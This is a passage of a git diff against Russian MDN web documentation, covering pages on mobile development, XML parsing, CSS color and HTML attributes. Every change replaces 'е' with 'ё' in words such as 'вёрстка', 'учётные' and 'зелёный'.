b/files/ru/web/guide/mobile/index.html index 149b851884..7279b9cc30 100644 --- a/files/ru/web/guide/mobile/index.html +++ b/files/ru/web/guide/mobile/index.html @@ -7,7 +7,7 @@ translation_of: Web/Guide/Mobile --- <p>На этой странице даётся обзор основных методов разработки веб-сайтов, корректно работающих на мобильных устройствах. Если вы ищете информацию о проекте Firefox OS от Mozilla, смотрите страницу <a href="/ru/docs/Archive/B2G_OS" title="Boot to Gecko">Firefox OS</a>. Возможно вас также интересует подробная информация о <a href="/ru/docs/Mozilla/Firefox_%D0%B4%D0%BB%D1%8F_Android" title="Firefox for Android">Firefox для Android</a>.</p> -<p>Статья разбита на два раздела: <a href="#разработка_под_мобильные_устройства">разработка под мобильные устройства</a> и <a href="#кросс_браузерная_верстка">кросс-браузерная совместимость</a>.<br> +<p>Статья разбита на два раздела: <a href="#разработка_под_мобильные_устройства">разработка под мобильные устройства</a> и <a href="#кросс_браузерная_вёрстка">кросс-браузерная совместимость</a>.<br> См. также руководство от Jason Grlicky по <a href="/en-US/docs/Web_Development/Mobile/Mobile-friendliness" title="/en-US/docs/Web_Development/Mobile/Mobile-friendliness">дружелюбность-к-мобильным</a> для веб-разработчиков.</p> <h2 id="Разработка_под_мобильные_устройства"><a id="разработка_под_мобильные_устройства" name="разработка_под_мобильные_устройства">Разработка под мобильные устройства</a></h2> @@ -41,7 +41,7 @@ translation_of: Web/Guide/Mobile <p>Наконец, вы можете воспользоваться преимуществом новых возможностей, предлагаемых мобильными устройствами, такие как <a href="/en/Detecting_device_orientation" title="en/Detecting_device_orientation">orientation</a> и <a href="/En/Using_geolocation" title="En/Using_geolocation">geolocation</a>.</p> -<h2 id="Кросс-браузерная_верстка"><a id="кросс_браузерная_верстка" name="кросс_браузерная_верстка">Кросс-браузерная верстка</a></h2> +<h2 id="Кросс-браузерная_вёрстка"><a id="кросс_браузерная_вёрстка" name="кросс_браузерная_вёрстка">Кросс-браузерная вёрстка</a></h2> <h3 id="Пишите_кросс-браузерный_код">Пишите кросс-браузерный код</h3> @@ -50,7 +50,7 @@ translation_of: Web/Guide/Mobile <ul> <li>Старайтесь избегать использования стилей, специфических для браузеров, таких как свойства CSS с вендорными префиксами.</li> <li>Если всё же вам необходимо ими воспользоваться, убедитесь что другие браузеры применяют свои собственные версии этих свойств, и укажите их.</li> - <li>Для браузеров, которые не поддерживают эти свойства, обеспечьте приемлемый упрощенный вариант.</li> + <li>Для браузеров, которые не поддерживают эти свойства, обеспечьте приемлемый упрощённый вариант.</li> </ul> <p>Например, если вы указываете градиент в качестве фона для какого-либо текста, используя стиль с вендорным префиксом типа <code>-webkit-linear-gradient</code>, правильнее включить другие варианты с вендор-специфическими префиксами для свойства <a href="/en/CSS/linear-gradient" title="en/CSS/linear-gradient">linear-gradient</a>. Если вы этого не делаете, по крайней мере удостоверьтесь, что фон, отображаемый по умолчанию, контрастирует с текстом: тогда страница, по крайней мере, будет корректно отображаться в браузере, который не воспринимает ваше <code>linear-gradient</code> правило.</p> diff --git a/files/ru/web/guide/parsing_and_serializing_xml/index.html b/files/ru/web/guide/parsing_and_serializing_xml/index.html index a99fe9cd84..5304905afc 100644 --- a/files/ru/web/guide/parsing_and_serializing_xml/index.html +++ b/files/ru/web/guide/parsing_and_serializing_xml/index.html @@ -27,11 +27,11 @@ translation_of: Web/Guide/Parsing_and_serializing_XML <dt>{{domxref("XMLSerializer")}}</dt> <dd>Сериализует деревья DOM, преобразуя их в строки, содержащие XML.</dd> <dt>{{domxref("DOMParser")}}</dt> - <dd>Создает дерево DOM, анализируя строку, содержащую XML, возвращая {{domxref ("XMLDocument")}} или {{domxref ("Document")}} в зависимости от входящих данных.</dd> + <dd>Создаёт дерево DOM, анализируя строку, содержащую XML, возвращая {{domxref ("XMLDocument")}} или {{domxref ("Document")}} в зависимости от входящих данных.</dd> <dt>{{domxref("XMLHttpRequest")}}</dt> <dd>Загружает контент из URL-адреса; Содержимое XML возвращается как объект XML {{domxref ("Document")}} с деревом DOM, построенным из самого XML.</dd> <dt><a href="/en-US/docs/Web/XPath">XPath</a></dt> - <dd>Технология создания строк, содержащих адреса для определенных частей документа XML, и поиска узлов XML на основе этих адресов.</dd> + <dd>Технология создания строк, содержащих адреса для определённых частей документа XML, и поиска узлов XML на основе этих адресов.</dd> </dl> <h2 id="Создание_XML-документа">Создание XML-документа</h2> @@ -69,9 +69,9 @@ xhr.responseType = "document"; xhr.send(); </pre> -<p>Значение, возвращаемое в поле {{domxref ("XMLHttpRequest.responseXML", "responseXML")}} объекта xhr, является {{domxref ("Document")}}, созданным путем синтаксического анализа XML.</p> +<p>Значение, возвращаемое в поле {{domxref ("XMLHttpRequest.responseXML", "responseXML")}} объекта xhr, является {{domxref ("Document")}}, созданным путём синтаксического анализа XML.</p> -<p>Если документ представляет собой {{Glossary ("HTML")}}, приведенный выше код вернет {{domxref ("Document")}}. Если документ XML, результирующий объект на самом деле является {{domxref ("XMLDocument")}}. Эти два типа по существу одинаковы; разница в основном историческая, хотя дифференциация имеет также некоторые практические преимущества.</p> +<p>Если документ представляет собой {{Glossary ("HTML")}}, приведённый выше код вернёт {{domxref ("Document")}}. Если документ XML, результирующий объект на самом деле является {{domxref ("XMLDocument")}}. Эти два типа по существу одинаковы; разница в основном историческая, хотя дифференциация имеет также некоторые практические преимущества.</p> <div class="note"> <p>Примечание: на самом деле существует интерфейс {{domxref ("HTMLDocument")}}, но это не обязательно независимый тип. В некоторых браузерах это так, а в других это просто псевдоним для интерфейса документа.</p> @@ -94,7 +94,7 @@ var sXML = oSerializer.serializeToString(doc);</pre> <h3 id="Serializing_HTML_documents">Serializing HTML documents</h3> -<p>Если у вас есть модель DOM в виде HTML-документа, вы можете сериализовать ее с помощью serializeToString (), но есть более простой вариант: просто используйте свойство {{domxref ("Element.innerHTML")}} (если вам нужны только потомки указанный узел) или свойство {{domxref ("Element.outerHTML")}}, если вам нужен узел и все его потомки.</p> +<p>Если у вас есть модель DOM в виде HTML-документа, вы можете сериализовать её с помощью serializeToString (), но есть более простой вариант: просто используйте свойство {{domxref ("Element.innerHTML")}} (если вам нужны только потомки указанный узел) или свойство {{domxref ("Element.outerHTML")}}, если вам нужен узел и все его потомки.</p> <pre class="brush: js notranslate">var docHTML = document.documentElement.innerHTML; </pre> diff --git a/files/ru/web/guide/user_input_methods/index.html b/files/ru/web/guide/user_input_methods/index.html index 945fbc3269..ed2af4c050 100644 --- a/files/ru/web/guide/user_input_methods/index.html +++ b/files/ru/web/guide/user_input_methods/index.html @@ -12,7 +12,7 @@ translation_of: Web/Guide/User_input_methods --- <div class="summary"> <p><span class="seoSummary">Это руководство содержит рекомендации по обработке пользовательского ввода - и внедрению управляющих элементов в веб-приложения. Также здесь Вы найдете соответствующие FAQs, живые примеры, ссылки на более подробные разборы близлежащих технологий. + и внедрению управляющих элементов в веб-приложения. Также здесь Вы найдёте соответствующие FAQs, живые примеры, ссылки на более подробные разборы близлежащих технологий. Связанные интерфейсы API и события: <a href="/ru/docs/Web/API/Touch_events">события касаний</a>, <a href="/ru/docs/Web/API/Pointer_Lock_API">интерфейс отслеживания указателя мыши</a>, <a href="/ru/docs/Web/API/CSS_Object_Model/ориентация_экрана">интерфейс ориентации экрана</a>, <a href="/ru/docs/DOM/Using_fullscreen_mode">интерфейс режима "на весь экран"</a>, <a href="/ru/docs/Web/Guide/HTML/Drag_and_drop">перетаскивание и сброс</a> и т. д.</span></p> diff --git a/files/ru/web/html/applying_color/index.html b/files/ru/web/html/applying_color/index.html index 0ff6dd3410..1815d66f34 100644 --- a/files/ru/web/html/applying_color/index.html +++ b/files/ru/web/html/applying_color/index.html @@ -6,7 +6,7 @@ translation_of: Web/HTML/Applying_color <div>{{HTMLRef}}</div> <div> -<p>Использование цвета - одна из фундаментальных форм человеческого восприятия, так дети экспериментируют с цветом еще до того, как начинают осознанно рисовать. Возможно, именно поэтому цвет - одна из первых вещей, с которой люди хотят экспериментировать, изучая разработку веб-сайтов. С помощью <span class="seoSummary"><a href="/en-US/docs/Web/CSS">CSS</a></span>, существует множество способов присвоить цвет <a href="/en-US/docs/Web/HTML">HTML</a> элементам, чтобы придать им желаемый вид. <span class="seoSummary">Эта статья дает базовые представления о всех способах </span>применения цвета к HTML элементам с помощью CSS<span class="seoSummary">.</span></p> +<p>Использование цвета - одна из фундаментальных форм человеческого восприятия, так дети экспериментируют с цветом ещё до того, как начинают осознанно рисовать. Возможно, именно поэтому цвет - одна из первых вещей, с которой люди хотят экспериментировать, изучая разработку веб-сайтов. С помощью <span class="seoSummary"><a href="/en-US/docs/Web/CSS">CSS</a></span>, существует множество способов присвоить цвет <a href="/en-US/docs/Web/HTML">HTML</a> элементам, чтобы придать им желаемый вид. <span class="seoSummary">Эта статья даёт базовые представления о всех способах </span>применения цвета к HTML элементам с помощью CSS<span class="seoSummary">.</span></p> </div> <p>К счастью, присвоить цвет к HTML элементу очень просто, и это можно сделать практически со всеми элементами.</p> @@ -27,7 +27,7 @@ translation_of: Web/HTML/Applying_color <dl> <dt>{{cssxref("color")}}</dt> - <dd>Свойство color применяется к тексту и любому <a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals#Font_style_font_weight_text_transform_and_text_decoration">оформлению текста</a>, например: подчеркивание, линии на текстом, перечеркивание и т.д.</dd> + <dd>Свойство color применяется к тексту и любому <a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals#Font_style_font_weight_text_transform_and_text_decoration">оформлению текста</a>, например: подчёркивание, линии на текстом, перечёркивание и т.д.</dd> <dt>{{cssxref("background-color")}}</dt> <dd>Цвет фона текста.</dd> <dt>{{cssxref("text-shadow")}}</dt> @@ -36,7 +36,7 @@ translation_of: Web/HTML/Applying_color </dd> <dt>{{cssxref("text-decoration-color")}}</dt> <dd> - <p>По умолчанию, элементы оформление текста (подчеркивание, перечеркивание) используют цвет свойства <code>color</code>. Но вы можете присвоить другой цвет с помощью свойства <code>text-decoration-color</code>.</p> + <p>По умолчанию, элементы оформление текста (подчёркивание, перечёркивание) используют цвет свойства <code>color</code>. Но вы можете присвоить другой цвет с помощью свойства <code>text-decoration-color</code>.</p> </dd> <dt>{{cssxref("text-emphasis-color")}}</dt> <dd> @@ -71,7 +71,7 @@ translation_of: Web/HTML/Applying_color <dl> <dt>{{cssxref("border-color")}}</dt> - <dd>Задает единый цвет для всех сторон границы элемента.</dd> + <dd>Задаёт единый цвет для всех сторон границы элемента.</dd> <dt>{{cssxref("border-left-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-top-color")}}, and {{cssxref("border-bottom-color")}}</dt> <dd>Позволяет установить цвет соответствующей стороне границы элемента: <strong>border-left-color</strong> - левая граница, <strong>border-right-color</strong> - правая, <strong>border-top-color</strong> - верхняя, <strong>border-bottom-color</strong> - нижняя.</dd> <dt>{{cssxref("border-block-start-color")}} and {{cssxref("border-block-end-color")}}</dt> @@ -80,7 +80,7 @@ translation_of: Web/HTML/Applying_color <dd>Эти свойства определяют цвет границы, расположенной ближе всего к началу и концу текста в блоке. <span style="letter-spacing: -0.00278rem;">Сторона начала и конца зависит от свойств </span>{{cssxref("writing-mode")}}, {{cssxref("direction")}} <span style="letter-spacing: -0.00278rem;">и </span>{{cssxref("text-orientation")}}<span style="letter-spacing: -0.00278rem;">, которые обычно (но не всегда) используются для настройки направления текста. Например, если текст отображается справа налево, то </span><code>border-inline-start-color</code> п<span style="letter-spacing: -0.00278rem;">рименяется к правой стороне границы.</span></dd> </dl> -<h3 id="Как_можно_еще_использовать_цвет">Как можно еще использовать цвет</h3> +<h3 id="Как_можно_ещё_использовать_цвет">Как можно ещё использовать цвет</h3> <p>CSS не единственная web-технология, которая поддерживает цвет.</p> @@ -89,7 +89,7 @@ translation_of: Web/HTML/Applying_color <dd>Позволяет создавать растровую 2D-графику в элементе {{HTMLElement("canvas")}}. См. <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a>, чтобы узнать больше.</dd> <dt><a href="/en-US/docs/Web/SVG">SVG</a> (Scalable Vector Graphics - Масштабируемая Векторная Графика)</dt> <dd> - <p>Позволяет создавать изображения с помощью команд, которые рисуют определенные фигуры, узоры, линии для создания конечного изображения. Команды SVG форматируются в XML, и могут размещаться непосредственно на веб-странице, или в элементе {{HTMLElement ("img")}}, как и любое другое изображение.</p> + <p>Позволяет создавать изображения с помощью команд, которые рисуют определённые фигуры, узоры, линии для создания конечного изображения. Команды SVG форматируются в XML, и могут размещаться непосредственно на веб-странице, или в элементе {{HTMLElement ("img")}}, как и любое другое изображение.</p> </dd> <dt><a href="/en-US/docs/Web/API/WebGL_API">WebGL</a></dt> <dd>Библиотека Веб-Графики (The Web Graphics Library) - это кроссплатформенный API на основе OpenGL ES, используется для создания высокопроизводительной 2D и 3D-графики в браузере. См. <a href="/en-US/docs/Learn/WebGL">Learn WebGL for 2D and 3D</a>, чтобы узнать больше..</dd> @@ -103,7 +103,7 @@ translation_of: Web/HTML/Applying_color <h3 id="Ключевые_слова">Ключевые слова</h3> -<p>Существует набор названий цветов стандартной палитры, который позволяет использовать ключевые слова вместо числового значения цвета. Ключевые слова включают основные и вторичные цвета (такие как красный (<code>red</code>), синий (<code>blue</code>), или оранжевый (<code>orange</code>)), оттенки серого (от черного (<code>black</code>) к белому (<code>white</code>), включая такие цвета как темносерый (<code>darkgray</code>) или светло-серый (<code>lightgrey</code>)), а также множество других смешанных цветов: <code>lightseagreen</code>, <code>cornflowerblue</code>, и <code>rebeccapurple</code>.</p> +<p>Существует набор названий цветов стандартной палитры, который позволяет использовать ключевые слова вместо числового значения цвета. Ключевые слова включают основные и вторичные цвета (такие как красный (<code>red</code>), синий (<code>blue</code>), или оранжевый (<code>orange</code>)), оттенки серого (от чёрного (<code>black</code>) к белому (<code>white</code>), включая такие цвета как темносерый (<code>darkgray</code>) или светло-серый (<code>lightgrey</code>)), а также множество других смешанных цветов: <code>lightseagreen</code>, <code>cornflowerblue</code>, и <code>rebeccapurple</code>.</p> <p>См. {{SectionOnPage("/en-US/docs/Web/CSS/color_value", "Color keywords", "code")}} - полный перечень всех доступных ключевых слов.</p> @@ -113,26 +113,26 @@ translation_of: Web/HTML/Applying_color <h4 id="Шестнадцатеричная_запись_в_виде_строки">Шестнадцатеричная запись в виде строки</h4> -<p>Шестнадцатеричная запись передает цвет, используя шестнадцатеричные числа, которые передают каждый компонент цвета (красный, зеленый и синий). Запись также может включать четвертый компонент: альфа-канал (или прозрачность). Каждый компонент цвета может быть представлен как число от 0 до 255 (0x00 - 0xFF) или, опционально, как число от 0 до 15 (0x0 - 0xF). Каждый компонент <em>необходимо</em> задавать используя одинаковое количество чисел. Так, если вы используете однозначное число, то итоговый цвет рассчитывается используя число каждого компонента дважды: <code>"#D"</code> превращается в <code>"#DD"</code>.</p> +<p>Шестнадцатеричная запись передаёт цвет, используя шестнадцатеричные числа, которые передают каждый компонент цвета (красный, зелёный и синий). Запись также может включать четвёртый компонент: альфа-канал (или прозрачность). Каждый компонент цвета может быть представлен как число от 0 до 255 (0x00 - 0xFF) или, опционально, как число от 0 до 15 (0x0 - 0xF). Каждый компонент <em>необходимо</em> задавать используя одинаковое количество чисел. Так, если вы используете однозначное число, то итоговый цвет рассчитывается используя число каждого компонента дважды: <code>"#D"</code> превращается в <code>"#DD"</code>.</p> <p>Цвет в шестнадцатеричной записи всегда начинается с символа <code>"#"</code>. После него начинаются шестнадцатеричные числа цветового кода. Запись не зависит от регистра.</p> <dl> <dt><code>"#rrggbb"</code></dt> - <dd>Задает полностью непрозрачный цвет, у которого компонент красного цвета представлен шестнадцатеричным числом <code>0xrr</code>, зеленого - <code>0xgg</code> и синего - <code>0xbb</code>.</dd> + <dd>Задаёт полностью непрозрачный цвет, у которого компонент красного цвета представлен шестнадцатеричным числом <code>0xrr</code>, зелёного - <code>0xgg</code> и синего - <code>0xbb</code>.</dd> <dt><code>"#rrggbbaa"</code></dt> - <dd>Задает цвет, у которого компонент красного представлен шестнадцатеричным числом <code>0xrr</code>, зеленого - <code>0xgg</code> и синего - <code>0xbb</code>. Альфа канал представлен <code>0xaa</code>; чем ниже значение, тем прозрачнее становится цвет.</dd> + <dd>Задаёт цвет, у которого компонент красного представлен шестнадцатеричным числом <code>0xrr</code>, зелёного - <code>0xgg</code> и синего - <code>0xbb</code>. Альфа канал представлен <code>0xaa</code>; чем ниже значение, тем прозрачнее становится цвет.</dd> <dt><code>"#rgb"</code></dt> - <dd>Задает цвет, у которого компонент красного представлен шестнадцатеричным числом <code>0xr</code>, зеленого - <code>0xg</code> и синего - <code>0xb</code>.</dd> + <dd>Задаёт цвет, у которого компонент красного представлен шестнадцатеричным числом <code>0xr</code>, зелёного - <code>0xg</code> и синего - <code>0xb</code>.</dd> <dt><code>"#rgba"</code></dt> - <dd>Задает цвет, у которого компонент красного представлен шестнадцатеричным числом <code>0xr</code>, зеленого - <code>0xg</code> и синего - <code>0xb</code>. Альфа канал представлен <code>0xa</code>; чем ниже значение, тем прозрачнее становится цвет.</dd> + <dd>Задаёт цвет, у которого компонент красного представлен шестнадцатеричным числом <code>0xr</code>, зелёного - <code>0xg</code> и синего - <code>0xb</code>. Альфа канал представлен <code>0xa</code>; чем ниже значение, тем прозрачнее становится цвет.</dd> </dl> <p>Например, вы можете представить непрозрачный ярко-синий цвет как <code>"#0000ff"</code> или <code>"#00f"</code>. Для того, чтобы сделать его на 25% прозрачным, вы можете использовать <code>"#0000ff44"</code> или <code>"#00f4"</code>.</p> <h4 id="RGB_запись_в_виде_функции">RGB запись в виде функции</h4> -<p>RGB запись в виде функции, как и шестнадцатеричная запись, представляет цвет, используя красный, зеленый и синий компоненты (также, опционально можно использовать компонент альфа канала для прозрачности). Но, вместо того, чтоб использовать строку, цвет определяется CSS функцией {{cssxref("rgb()")}}. Данная функция принимает как вводные параметры значения красного, зеленого и синего компонентов и, опционально, четвертого компонента - значение альфа канала.</p> +<p>RGB запись в виде функции, как и шестнадцатеричная запись, представляет цвет, используя красный, зелёный и синий компоненты (также, опционально можно использовать компонент альфа канала для прозрачности). Но, вместо того, чтоб использовать строку, цвет определяется CSS функцией {{cssxref("rgb()")}}. Данная функция принимает как вводные параметры значения красного, зелёного и синего компонентов и, опционально, четвёртого компонента - значение альфа канала.</p> <p>Допустимые значения для каждого из этих параметров:</p> @@ -152,12 +152,12 @@ translation_of: Web/HTML/Applying_color <div style="padding-bottom: 20px;"> <figure style="width: 500px;"><img alt="HSL color cylinder" src="https://mdn.mozillademos.org/files/15445/1200px-HSL_color_solid_cylinder_alpha_lowgamma.png" style="height: 375px; width: 500px;"> <figcaption> -<p><em><strong>Рис. 1. Цилиндрическая модель HSL.</strong> Hue (оттенок) определяет фактический цвет, основанный на положении вдоль цветового круга, представляя цвета видимого спектра. Saturation (насыщенность) представляет собой процентное соотношение оттенка от серого до максимально насыщенного цвета. По мере увеличения значения luminance/ lightness (светлоты) цвет переходит от самого темного к самому светлому (от черного к белому). Изображение представлено пользователем <a href="http://commons.wikimedia.org/wiki/User:SharkD">SharkD</a> в <a href="https://www.wikipedia.org/">Wikipedia</a>, распространяется на правах лицензии <a href="http://creativecommons.org/licenses/by-sa/3.0">CC BY-SA 3.0</a> .</em></p> +<p><em><strong>Рис. 1. Цилиндрическая модель HSL.</strong> Hue (оттенок) определяет фактический цвет, основанный на положении вдоль цветового круга, представляя цвета видимого спектра. Saturation (насыщенность) представляет собой процентное соотношение оттенка от серого до максимально насыщенного цвета. По мере увеличения значения luminance/ lightness (светлоты) цвет переходит от самого тёмного к самому светлому (от чёрного к белому). Изображение представлено пользователем <a href="http://commons.wikimedia.org/wiki/User:SharkD">SharkD</a> в <a href="https://www.wikipedia.org/">Wikipedia</a>, распространяется на правах лицензии <a href="http://creativecommons.org/licenses/by-sa/3.0">CC BY-SA 3.0</a> .</em></p> </figcaption> </figure> </div> -<p>Значение компонента <em>оттенок</em> (H) цветовой модели HSL определяется углом при движении вдоль окружности цилиндра от красного через желтый, зеленый, голубой, синий и маджента, и заканчивая через 360° снова красным. Данное значение определяет базовый цвет. Его можно задать в любых единицах, поддерживаемых CSS свойством {{cssxref("<angle>")}}, а именно - в градусах (<code>deg</code>), радианах (<code>rad</code>), градиентах (<code>grad</code>) или поворотах (<code>turn</code>). Но компонент <em>оттенок </em>никак не влияет на то, насколько насыщенным, ярким или темным будет цвет.</p> +<p>Значение компонента <em>оттенок</em> (H) цветовой модели HSL определяется углом при движении вдоль окружности цилиндра от красного через жёлтый, зелёный, голубой, синий и маджента, и заканчивая через 360° снова красным. Данное значение определяет базовый цвет. Его можно задать в любых единицах, поддерживаемых CSS свойством {{cssxref("<angle>")}}, а именно - в градусах (<code>deg</code>), радианах (<code>rad</code>), градиентах (<code>grad</code>) или поворотах (<code>turn</code>). Но компонент <em>оттенок </em>никак не влияет на то, насколько насыщенным, ярким или темным будет цвет.</p> <p>Компонент <em>насыщенность</em> (S) определяет количество конечного цвета из которого состоит указанный оттенок. Остальное определяется уровнем серого цвета, которое указывает компонент luminance/ lightness (L).</p> @@ -165,7 +165,7 @@ translation_of: Web/HTML/Applying_color <ol> <li>Вы начинаете с базовой краски, т.е. с максимально возможной интенсивности данного цвета. Например, наиболее насыщенный синий, который может быть представлен на экране пользователя. Это компонент <em>hue (оттенок)</em>: значение представляющее <strong>угол</strong> вокруг цветового круга для насыщенного оттенка, который мы хотим использовать в качестве нашей базы.</li> - <li>Далее выберете краску серого оттенка, которая будет соответствовать тому, насколько ярким вы хотите сделать цвет. Это <em>luminance/ lightness (яркость)</em>. Вы хотите, чтобы цвет был очень ярким, практически белым или очень темным, ближе к черному, или что-то среднее? Данный компонент определяется в процентах, где 0% - совершенный черный цвет и 100% - совершенный белый (независимо от насыщенности или оттенка). Средние значения - это буквальная серая область.</li> + <li>Далее выберете краску серого оттенка, которая будет соответствовать тому, насколько ярким вы хотите сделать цвет. Это <em>luminance/ lightness (яркость)</em>. Вы хотите, чтобы цвет был очень ярким, практически белым или очень темным, ближе к чёрному, или что-то среднее? Данный компонент определяется в процентах, где 0% - совершенный чёрный цвет и 100% - совершенный белый (независимо от насыщенности или оттенка). Средние значения - это буквальная серая область.</li> <li>Теперь, когда у есть серый цвет и идеально насыщенный цвет, вам необходимо их смешать. Компонент <em>saturation (насыщенность) </em>определяет какой процент конечного цвета должен состоять из идеально насыщенного цвета. Остаток конечного цвета формируется серым цветом, который представляет насыщенность.</li> </ol> @@ -245,7 +245,7 @@ th { <p>Самый простой способ присвоить цвет элементу и то, как это обычно делается - это просто указать цвет в CSS. Мы не будем останавливаться на каждом из вышеупомянутых свойств, а просто рассмотрим несколько примеров. Где бы вы не использовали цвет, принцип один и тот же.</p> -<p>Давайте начнем наш пример с результата, который нам нужно достичь:</p> +<p>Давайте начнём наш пример с результата, который нам нужно достичь:</p> <p> </p> @@ -253,7 +253,7 @@ th { <h4 id="HTML">HTML</h4> -<p>HTML, который создает вышеупомянутый пример:</p> +<p>HTML, который создаёт вышеупомянутый пример:</p> <pre class="brush: html"><div class="wrapper"> <div class="box boxLeft"> @@ -268,7 +268,7 @@ th { </div> </div></pre> -<p>Все довольно просто: первый {{HTMLElement("div")}} используется как обертка (wrapper) содержимого, которое состоит из еще двух <code><div></code>, каждый из которых содержит один параграф ({{HTMLElement("p")}}) и имеет свой стиль.</p> +<p>Все довольно просто: первый {{HTMLElement("div")}} используется как обёртка (wrapper) содержимого, которое состоит из ещё двух <code><div></code>, каждый из которых содержит один параграф ({{HTMLElement("p")}}) и имеет свой стиль.</p> <p>Все волшебство, как всегда, происходит в CSS, где мы и будем присваивать цвет к данным HTML элементам..</p> @@ -307,7 +307,7 @@ th { <p> </p> -<p>Вкратце класс <code>.box</code> устанавливает размер каждого блока и параметры шрифта. Также мы используем <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Flexbox</a>, чтобы с легкостью отцентрировать содержимое каждого блока. Мы включаем режим <code>flex</code> с помощью {{cssxref("display", "display: flex")}}, и присваиваем значение center {{cssxref("justify-content")}} и {{cssxref("align-items")}}. Затем мы создаем отдельные классы для каждого из двух блоков, которые определят индивидуальные свойства.</p> +<p>Вкратце класс <code>.box</code> устанавливает размер каждого блока и параметры шрифта. Также мы используем <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Flexbox</a>, чтобы с лёгкостью отцентрировать содержимое каждого блока. Мы включаем режим <code>flex</code> с помощью {{cssxref("display", "display: flex")}}, и присваиваем значение center {{cssxref("justify-content")}} и {{cssxref("align-items")}}. Затем мы создаём отдельные классы для каждого из двух блоков, которые определят индивидуальные свойства.</p> <p> </p> @@ -324,7 +324,7 @@ th { <ul> <li>{{cssxref("background-color")}} определяет цвет фона блока значением <code>rgb(245, 130, 130)</code>.</li> <li>{{cssxref("outline")}}, в отличие от привычного нам свойства <code>border</code>, не влияет на положение блока и его ширину. <code>Outline</code> представлен сплошной, темно-красной линией, шириной в 2 пикселя. Обратите внимание на ключевое слово <code>darkred</code>, которое используется для определение цвета.</li> - <li>Обратите внимание, что мы не определяем значение цвета текста. Это означает, что свойство {{cssxref("color")}} будет унаследовано от ближайшего родительского элемента, у которого это свойство определено. По умолчанию это черный цвет.</li> + <li>Обратите внимание, что мы не определяем значение цвета текста. Это означает, что свойство {{cssxref("color")}} будет унаследовано от ближайшего родительского элемента, у которого это свойство определено. По умолчанию это чёрный цвет.</li> </ul> <p> </p> @@ -346,8 +346,8 @@ th { <li><code>background-color</code> определяется значением HSL: <code>hsl(270deg, 50%, 75%)</code>. Это светло-фиолетовый цвет.</li> <li><code>Outline</code> блока определяет, что вокруг блока должна быть прерывистая линия, шириной в четыре пикселя, фиолетового цвета немного темнее, чем цвет фона (<code>rgb(110, 20, 120)</code>).</li> <li>Цвет текста определяется свойством {{cssxref("color")}}, значение которого <code>hsl(0deg, 100%, 100%)</code>. Это один из многих способов задать белый цвет.</li> - <li>С помощью {{cssxref("text-decoration")}} мы добавляем зеленую волнистую линию под текстом.</li> - <li>И наконец, свойство {{cssxref("text-shadow")}} добавляет небольшую черную тень тексту.</li> + <li>С помощью {{cssxref("text-decoration")}} мы добавляем зелёную волнистую линию под текстом.</li> + <li>И наконец, свойство {{cssxref("text-shadow")}} добавляет небольшую чёрную тень тексту.</li> </ul> <h2 id="Предоставляем_возможность_пользователю_выбрать_цвет">Предоставляем возможность пользователю выбрать цвет</h2> diff --git a/files/ru/web/html/attributes/crossorigin/index.html b/files/ru/web/html/attributes/crossorigin/index.html index b0b744eb5d..b709a2876b 100644 --- a/files/ru/web/html/attributes/crossorigin/index.html +++ b/files/ru/web/html/attributes/crossorigin/index.html @@ -14,16 +14,16 @@ original_slug: Web/HTML/CORS_settings_attributes </tr> <tr> <td><code>anonymous</code></td> - <td>CORS запросы от этого элемента не будут передавать учетные данные.</td> + <td>CORS запросы от этого элемента не будут передавать учётные данные.</td> </tr> <tr> <td><code>use-credentials</code></td> - <td>CORS запросы от этого элемента будут передавать учетные данные.</td> + <td>CORS запросы от этого элемента будут передавать учётные данные.</td> </tr> </tbody> </table> -<p>По умолчанию (если значение атрибута не задано), CORS не используется вообще. Ключевое слово "anonymous" означает что не будет обмена <strong>учетных данных</strong>(user credentials) через cookies, client-side SSL сертификаты или HTTP аутентификацию как описано в <a class="external" href="http://www.w3.org/TR/cors/#user-credentials">Секции Терминология CORS спецификации</a>.</p> +<p>По умолчанию (если значение атрибута не задано), CORS не используется вообще. Ключевое слово "anonymous" означает что не будет обмена <strong>учётных данных</strong>(user credentials) через cookies, client-side SSL сертификаты или HTTP аутентификацию как описано в <a class="external" href="http://www.w3.org/TR/cors/#user-credentials">Секции Терминология CORS спецификации</a>.</p> <p>Неправильное ключевое слово или пустая строка, будет обработано как <code>anonymous</code>.</p> diff --git a/files/ru/web/html/attributes/index.html b/files/ru/web/html/attributes/index.html index 874a7d2137..2e63f37bcd 100644 --- a/files/ru/web/html/attributes/index.html +++ b/files/ru/web/html/attributes/index.html @@ -113,7 +113,7 @@ translation_of: Web/HTML/Attributes <tr> <td><code>manifest</code></td> <td>{{ HTMLElement("html") }}</td> - <td>Задает URL кешированного манифеста документа.</td> + <td>Задаёт URL кешированного манифеста документа.</td> </tr> <tr> <td><code>max</code></td> @@ -153,7 +153,7 @@ translation_of: Web/HTML/Attributes <tr> <td><code>novalidate</code></td> <td>{{ HTMLElement("form") }}</td> - <td>Этот атрибут указывает, что форма не должна проверяться, когда передается на сервер.</td> + <td>Этот атрибут указывает, что форма не должна проверяться, когда передаётся на сервер.</td> </tr> <tr> <td><code>open</code></td> diff --git a/files/ru/web/html/block-level_elements/index.html b/files/ru/web/html/block-level_elements/index.html index ce640274c9..2dc399414a 100644 --- a/files/ru/web/html/block-level_elements/index.html +++ b/files/ru/web/html/block-level_elements/index.html @@ -47,7 +47,7 @@ translation_of: Web/HTML/Block-level_elements <h2 id="Элементы">Элементы</h2> -<p><span id="result_box" lang="ru"><span class="hps">Ниже приведен</span> <span class="hps">полный список всех</span> блочных <span class="hps">элементов</span> <span class="hps">(хотя </span></span>формально <span lang="ru"><span class="hps">понятие </span></span>«<span lang="ru"><span>блочный</span></span>» не применяется <span lang="ru"><span class="hps">к</span> новым <span class="hps">элементам</span> <span class="hps">в HTML5</span><span>)</span><span>.</span></span></p> +<p><span id="result_box" lang="ru"><span class="hps">Ниже приведён</span> <span class="hps">полный список всех</span> блочных <span class="hps">элементов</span> <span class="hps">(хотя </span></span>формально <span lang="ru"><span class="hps">понятие </span></span>«<span lang="ru"><span>блочный</span></span>» не применяется <span lang="ru"><span class="hps">к</span> новым <span class="hps">элементам</span> <span class="hps">в HTML5</span><span>)</span><span>.</span></span></p> <div class="threecolumns"> <dl> diff --git a/files/ru/web/html/cors_enabled_image/index.html 